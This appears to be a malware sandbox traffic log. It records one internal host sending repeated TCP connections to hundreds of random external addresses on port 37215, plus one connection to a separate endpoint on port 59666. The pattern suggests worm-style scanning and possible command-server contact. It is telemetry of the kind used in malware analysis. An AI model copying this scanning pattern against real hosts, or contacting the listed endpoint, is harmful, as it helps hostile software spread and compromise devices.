Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.185.101.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.24.74.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.94.217.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.96.201.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.37.238.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.166.253.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.42.148.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.249.221.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.227.16.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.214.172.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.213.127.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.238.65.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.235.175.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.236.21.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.6.177.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.201.190.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.125.31.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.102.203.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.130.159.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.182.193.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.233.230.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.146.94.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.130.38.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.158.100.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.210.142.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.23.33.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.36.206.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.224.61.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.153.89.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.111.176.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.228.182.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.216.228.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.69.8.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.243.178.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.158.128.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.151.100.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.23.92.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.70.159.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.102.78.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.40.162.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.217.22.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.132.10.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.108.80.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.167.213.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.42.18.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.231.130.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.32.14.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.249.70.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.67.208.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.159.26.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.233.34.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.11.104.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.229.244.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.159.173.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.58.143.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.174.5.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.222.139.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.61.234.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.148.175.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.89.192.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.67.55.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.211.41.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.250.16.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.106.39.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.81.108.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.160.243.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.212.199.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.97.224.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.105.211.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.91.159.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.82.9.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.229.117.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.3.88.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.66.126.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.25.183.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.240.174.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.14.98.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.158.186.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.74.170.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.35.219.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.214.27.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.80.146.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.229.139.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.66.118.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.8.0.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.48.103.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.74.5.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.103.162.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.59.108.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.20.235.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.187.4.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.7.156.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.48.209.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.158.7.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.137.107.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.9.224.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.225.19.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.42.154.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.216.249.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.211.38.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.53.140.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.49.253.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.222.25.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.202.12.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.108.209.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.70.217.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.50.127.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.226.199.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.34.112.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.253.36.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.181.48.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.42.65.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.221.158.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.220.37.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.61.247.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.187.253.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.233.212.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.66.252.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.21.216.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.82.16.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.91.13.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.107.220.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.251.236.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.52.158.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.196.169.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.167.97.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.30.174.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.254.209.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.130.126.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.19.23.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.252.236.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.227.45.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.75.230.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.147.231.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.4.146.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.83.9.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.108.234.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.215.137.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.219.176.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.29.102.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.128.232.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.77.141.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.36.78.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.241.0.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.67.10.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.108.18.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.154.136.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.78.47.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.18.200.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.162.153.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.248.114.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.140.60.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.157.68.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.33.227.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.105.31.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.25.39.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.167.89.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.190.157.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.59.142.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.125.71.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.243.195.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.136.27.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.201.29.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.53.162.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.61.10.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.45.20.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.196.4.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.98.57.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.142.233.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.20.186.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.238.119.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.152.138.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.187.77.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.208.96.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.46.80.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.167.39.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.111.212.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.104.152.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.167.85.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.105.45.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.157.56.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.130.19.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.133.19.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.68.97.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.6.117.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.192.132.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.154.137.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.78.42.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.89.241.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.81.5.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.173.125.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.56.88.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.154.99.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.205.121.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.43.120.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.225.98.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.77.68.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.59.212.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.133.89.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.21.63.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.229.153.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.199.137.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.132.236.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.240.21.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.253.60.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.15.214.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.115.67.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.177.173.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.61.114.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.168.93.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.44.206.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.227.55.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.213.91.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.237.64.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.101.58.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.210.43.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.34.88.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.53.156.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.193.240.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.229.228.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.96.23.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.84.184.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.207.86.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.151.91.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.21.164.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.249.131.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.195.89.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.63.69.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.31.153.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.64.100.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.175.177.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.143.58.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.181.176.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.85.47.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.60.87.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.208.196.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.207.228.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.147.148.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.70.137.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.251.244.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.144.13.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.47.130.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.110.245.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.215.132.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.165.6.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.47.152.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.214.166.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.38.133.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.234.38.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.237.169.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.223.229.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.116.170.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.87.209.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.219.9.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.247.190.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.132.179.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.5.66.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.232.140.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.113.151.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.188.80.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.228.197.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.15.35.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.46.43.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.128.171.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.2.137.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:45122 -> 92.249.48.84:59666
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.93.177.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.212.134.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.84.220.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.210.217.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.251.81.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.51.123.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.164.12.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.160.28.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.176.206.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.22.109.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.64.28.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.171.92.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.153.221.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.240.44.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.12.174.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.141.83.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.206.226.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.52.40.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.134.153.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.160.156.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.243.248.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.111.245.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.211.200.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.143.86.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.195.229.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.33.21.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.254.5.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.87.203.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.206.84.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.97.237.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.162.97.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.146.174.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.117.83.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.165.36.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.172.112.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.231.87.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.145.105.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.213.77.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.40.102.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.227.181.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.170.167.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.43.167.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.102.31.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.246.133.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.220.158.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.149.138.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.41.112.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.93.129.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.255.115.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.221.210.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.226.115.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.44.210.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.212.109.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.190.152.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.216.196.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.108.196.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.106.93.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.36.225.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.94.23.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.205.142.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.222.122.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.27.254.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.240.0.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.203.26.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.229.248.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.187.90.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.63.231.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.54.239.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.114.60.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.113.51.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.234.192.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.233.6.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.86.68.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.200.190.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.99.106.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.103.106.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.77.161.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.242.57.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.109.127.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.209.187.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.167.98.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.215.48.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.56.56.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.82.145.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.20.127.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.11.187.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.93.122.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.165.102.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.216.157.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.240.68.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.244.243.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.82.15.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.171.81.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.196.115.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.39.117.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.103.97.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.20.165.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.219.133.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.210.5.159:37215
